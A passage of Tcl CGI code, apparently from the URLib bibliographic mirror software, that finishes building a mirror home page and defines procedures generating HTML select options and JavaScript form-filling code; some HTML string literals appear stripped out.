ConditionalSet forceRecentFlag cgi(forcerecentflag) 0 ;# added by GJFB in 2022-06-13 - used in the mirror home page file - value is 0 (default) or 1 (means to force 'The Most Recent' display)
# forceHistoryBackFlag
set forceHistoryBackFlag 0 ;# added by GJFB in 2023-06-09
# highlightAbout
ConditionalSet highlightAbout cgi(highlightabout) 0 ;# added by GJFB in 2022-09-11 - used in the mirror home page file - value is 0 (default) or 1 (means to highlight the About button background)
# set serverAddress $localSite ;# old usage of serverAddress - commented by GJFB in 2020-07-17 to preserve the value of serverAddress used in mirrorHomePage.html
# Load ../$col/$mirrorHomePageRep/service/targetFile mirrorHomePageTargetFile
# puts ../$col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile
# if [file exists ../$col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile] # ;# commented by GJFB in 2025-01-10 because mirrorHomePageTargetFile value might be empty when, for example, customizing a Bibliographic Mirror to just create a meta form for conference proceedings
if {![string equal {} $mirrorHomePageTargetFile] && [file exists ../$col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile]} { ;# added by GJFB in 2025-01-10
Load ../$col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile mirrorPage
if {![regexp {[[:print:]]} $mirrorPage]} {
# mirrorPage doesn't contain printed characters
return -code error "CreateMirror (4): file
$homePath/col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile
is corrupted"
}
} else {
# Load the Default mirror home page
# Load ../$col/$mirrorHomePageRepository/doc/$mirrorHomePageTargetFile mirrorPage ;# commented by GJFB in 2025-01-10 because mirrorHomePageTargetFile value might be empty whem customizing/creating/using a meta form only
Load ../$col/$mirrorHomePageRepository/doc/mirrorHomePage.html mirrorPage ;# added by GJFB in 2025-01-10
}
if [file exists ../$col/$mirrorHomePageRep/doc/mirrorHomePageHeader.html] {
Load ../$col/$mirrorHomePageRep/doc/mirrorHomePageHeader.html mirrorHomePageHeader
} else {
set mirrorHomePageHeader {}
}
# puts ../$col/$languageRep2/doc/mirror/${language}Home.tcl
source ../$col/$languageRep2/doc/mirror/${language}Home.tcl ;# set the proper translation of the each variable below
global "${languageRep2}::Bibliographic Mirror at <\;\$serverAddress>\;" ;# for old mirror home page
global "${languageRep2}::Bibliographic Mirror at <\;\$localSite>\;"
global "${languageRep2}::Browser assisted filling"
global "${languageRep2}::Keyword-driven filling"
global "${languageRep2}::Toggle the filling property"
global "${languageRep2}::Remove past inserted search expressions"
global "${languageRep2}::Are you sure you want to remove the past inserted search expressions and reload this page?"
global "${languageRep2}::Press Backspace or type something..."
global "${languageRep2}::Please wait for the submission completion."
set thisRepository $mirrorHomePageRep
set urlibServerAddress $env(URLIB_SERVER_ADDR) ;# urlib.net and port (www.urlib.net 800)
# foreach {urlibServerName urlibPort} [ReturnCommunicationAddress $urlibServerAddress] {break} ;# used in mirrorPage
foreach {sessionTime symmetricKey} [OpenSession [list $env(REMOTE_ADDR) administrator] symmetricKey] {break}
Load $homePath/col/$currentRep/doc/@wordOccurrence wordOccurrenceList
set keywordList {}
# puts $wordOccurrenceList
foreach item $wordOccurrenceList {
foreach keyword $item {break}
# set keyword "- [regsub -all {\$} $keyword {\\\\\$}],"
set keyword [regsub -all {\$} $keyword {\\\\\$}]
set keyword [regsub -all {'} $keyword {\\\'}]
# set keyword [regsub -all {:} $keyword {\\\:}]
set keyword "- $keyword,"
lappend keywordList \\\"$keyword\\\"
# lappend keywordList \\\"_[regsub -all { } $keyword {_}]\\\" ;# join must not be used because keyword may contain an open brace
}
# puts $keywordList
set data \\\[[join $keywordList {, }]\\\]
# seconds
set seconds " "
# puts $language
# set output $mirrorPage
# set output [subst $mirrorPage]
set output [subst [subst $mirrorPage]] ;# mirrorPage contains the command 'ConditionalSet query cgi(query) {}'
}
}
puts $output
# <
} m] {
if ![string equal {} $m] {
puts {Content-Type: text/html}
puts {}
puts "CreateMirror (5): $m "
if 0 {global errorInfo; puts $errorInfo }
}
}
}
# CreateMirror - end
# ----------------------------------------------------------------------
# CreateSelect
# used with Register and Submit
# example of fieldName: %A
# example of field: _A_author
# creatorNumber is empty or is 1, 2, 3 ...
proc CreateSelect {fieldName field value varName {creatorNumber {}}} {
global cgi
# upvar translationTable translationTable
upvar referenceType referenceType
upvar optionTable optionTable
upvar optionTable2 optionTable2
upvar defaultOptionTable defaultOptionTable
upvar $varName row
upvar userName userName
upvar fillOutFieldCode fillOutFieldCode ;# used in xxSubmit.html and xxUpdateSubmission.html only
upvar fieldList fieldList ;# {%A author} {%T title} ... {%@affiliation affiliation} ...
upvar fillOutFieldTable fillOutFieldTable ;# set in displayControl.tcl
upvar actionTable actionTable ;# set in displayControl.tcl
upvar submissionType submissionType
upvar referenceType3 referenceType3
upvar language language
upvar http http
upvar update update ;# added by GJFB in 2016-05-28 - needed when running iconet.com.br/banon/2006/07.02.02.18/cgi/script (k metaform) (when setting {controlArray(optionTable2(Conference Proceedings,%@documentstage))} in that cgi script)
upvar supervisorList supervisorList ;# added by GJFB in 2016-05-28 - needed when running iconet.com.br/banon/2006/07.02.02.18/cgi/script (k metaform) (when setting {controlArray(optionTable2(Conference Proceedings,%@documentstage))} in that cgi script)
upvar userName userName ;# added by GJFB in 2016-05-28 - needed when running iconet.com.br/banon/2006/07.02.02.18/cgi/script (k metaform) (when setting {controlArray(optionTable2(Conference Proceedings,%@documentstage))} in that cgi script)
upvar userGroup userGroup ;# added by GJFB in 2016-05-28 - needed when running iconet.com.br/banon/2006/07.02.02.18/cgi/script (k metaform) (when setting {controlArray(optionTable2(Conference Proceedings,%@documentstage))} in that cgi script)
# Create fillOutFieldCode
# for function FillOutField(fieldName, optionNumber, creatorNumber)
if [info exists actionTable($referenceType,$fieldName)] {
# Dynamic action
# actionTable is set in displayControl.tcl
lappend fillOutFieldCode " if (fieldName == \"$fieldName\") \{"
set i 0
lappend fillOutFieldCode " itemsAction = new Array([llength $actionTable($referenceType,$fieldName)])"
foreach item $actionTable($referenceType,$fieldName) {
lappend fillOutFieldCode " itemsAction\\\\\\\\\\\\\\\[$i\\\\\\\\\\\\\\\] = \"$http://[lindex [lindex $item 1] 0]/col/[lindex [lindex $item 1] 1]/doc/submit.cgi\""
incr i
}
lappend fillOutFieldCode " document.$submissionType.action = itemsAction\\\\\\\\\\\\\\\[optionNumber\\\\\\\\\\\\\\\] + '?%0+referencetype=\{$referenceType3\}&languagebutton=$language&returnbutton=$cgi(returnbutton)&targetframe=$cgi(targetframe)&attachment=$cgi(attachment)'"
lappend fillOutFieldCode " \}"
# Dynamic action - end
}
set fillOutFieldCode2 {}
foreach name [array names fillOutFieldTable $referenceType,$fieldName,*] {
# Journal Article,%@group,%@affiliation
# fieldName == %@group
regsub "^$referenceType,$fieldName," $name {} destinationFieldName ;# %@affiliation
if {[set i [lsearch -regexp $fieldList ^$destinationFieldName]] != -1} {
set destinationField [lindex $fieldList $i] ;# %@affiliation affiliation
regsub -all {%|@| |-} $destinationField {_} destinationField ;# for JavaScript compatibility - __affiliation_affiliation
if [regexp {^$|^1$} $creatorNumber] {
lappend fillOutFieldCode2 " items$destinationField = new Array([expr [llength $fillOutFieldTable($name)] / 2])"
set i 0
foreach {x y} $fillOutFieldTable($name) {
lappend fillOutFieldCode2 " items$destinationField\\\\\\\\\\\\\\\[$i\\\\\\\\\\\\\\\] = \"$y\""
incr i
}
}
lappend fillOutFieldCode2 " if (creatorNumber == \"$creatorNumber\") \{"
lappend fillOutFieldCode2 " document.$submissionType.$destinationField$creatorNumber.value = items$destinationField\\\\\\\\\\\\\\\[optionNumber\\\\\\\\\\\\\\\]"
lappend fillOutFieldCode2 " \}"
}
}
if ![string equal {} $fillOutFieldCode2] {
lappend fillOutFieldCode "if (fieldName == \"$fieldName\") \{"
set fillOutFieldCode [concat $fillOutFieldCode $fillOutFieldCode2]
lappend fillOutFieldCode " \}"
}
# Create fillOutFieldCode - end
# ONCHANGE="FillOutField('%@group', document.update.__group_group1.selectedIndex, '1')"
append row ""
# Find option list
# optionList
if [info exists optionTable($referenceType,$fieldName)] {
set optionList $optionTable($referenceType,$fieldName)
} elseif [info exists optionTable2($referenceType,$fieldName)] {
# set optionList $optionTable2($referenceType,$fieldName) ;# commented by GJFB in 2016-05-28
set optionList [subst $optionTable2($referenceType,$fieldName)] ;# added by GJFB in 2016-05-28 - subst needed when running iconet.com.br/banon/2006/07.02.02.18/cgi/script (k metaform) (when setting {controlArray(optionTable2(Conference Proceedings,%@documentstage))} in this cgi script)
} else {
puts "optionTable($referenceType,$fieldName) or optionTable2($referenceType,$fieldName) doesn't exist"
return
}
# Find option list - end
# http://vaio:1905/col/iconet.com.br/banon/2006/11.26.21.31/doc/mirror.cgi/Submit/Book?languagebutton=pt-BR&reviewprocess=yes
# puts $fieldName
# puts --$value--
# puts $optionList
if [info exists defaultOptionTable($referenceType,$fieldName)] {
if [string equal {} $value] {
set value $defaultOptionTable($referenceType,$fieldName)
} elseif {[string equal {%@documentstage} $fieldName]} {
# with 8.5 could be [lsearch -index 1 $optionList $value] == -1
set flag 1
foreach option $optionList {
if [string equal [lindex $option 1] $value] {set flag 0; break}
}
if $flag {set value $defaultOptionTable($referenceType,$fieldName)}
}
}
# puts ---$value---
# puts $optionList
if [info exists optionTable($referenceType,$fieldName)] {
# using optionTable
set flag 1
for {set i 0} {$i < [llength $optionList]} {incr i} {
if {[llength [lindex [lindex $optionList $i] 1]] > 1} {set flag 0; break}
}
if $flag {
# without subitem
foreach option $optionList {
CreateOptionForSelect $fieldName $value $option $option ;# appends row
}
} else {
# with subitems (an item has at least two subitems)
if [string equal {} [lindex $optionList 0]] {
# the first element is empty
set optionList [lreplace $optionList 0 0]
CreateOptionForSelect $fieldName $value {} {} ;# appends row
}
foreach option $optionList {
append row ""
foreach option2 [lindex $option 1] {
CreateOptionForSelect $fieldName $value $option2 $option2 ;# appends row
}
append row " "
}
}
} else {
# using optionTable2
# puts --$optionList--
set flag [expr [llength [lindex [lindex [lindex $optionList end] 1] 0]] <= 1]
if $flag {
# without subitem
foreach option $optionList {
set optionName [lindex $option 0]
set optionValue [lindex $option 1]
# puts [list CreateOptionForSelect $fieldName $value $optionName $optionValue]
CreateOptionForSelect $fieldName $value $optionName $optionValue ;# appends row
}
} else {
# with subitems (the last item has a first subitem that has least two subitems)
if [string equal {} [lindex $optionList 0]] {
# the first element is empty
set optionList [lreplace $optionList 0 0]
CreateOptionForSelect $fieldName $value {} {} ;# appends row
}
foreach option $optionList {
append row ""
foreach option2 [lindex $option 1] {
set optionName [lindex $option2 0]
set optionValue [lindex $option2 1]
CreateOptionForSelect $fieldName $value $optionName $optionValue ;# appends row
}
append row " "
}
}
}
append row
}
# CreateSelect - end
# ----------------------------------------------------------------------
# CreateOptionForSelect
# example of argument values:
# fieldName == %@group
# fieldValue == CST-CST-INPE-MCTI-GOV-BR
# optionName == CST
# optionValue == CST-CST-INPE-MCTI-GOV-BR
# optionValue == CST-CST-SPG-INPE-MCTI-GOV-BR
proc CreateOptionForSelect {fieldName fieldValue optionName optionValue} {
# puts [list $fieldName $fieldValue $optionName $optionValue]
upvar row row
upvar 2 translationTable translationTable
upvar 2 referenceType referenceType
if [info exists translationTable($optionName,$referenceType,$fieldName)] {
set translatedOption $translationTable($optionName,$referenceType,$fieldName)
} else {
# don't translate
set translatedOption $optionName
}
# puts [string equal $fieldValue $optionValue]
if [string equal $fieldValue $optionValue] {
append row "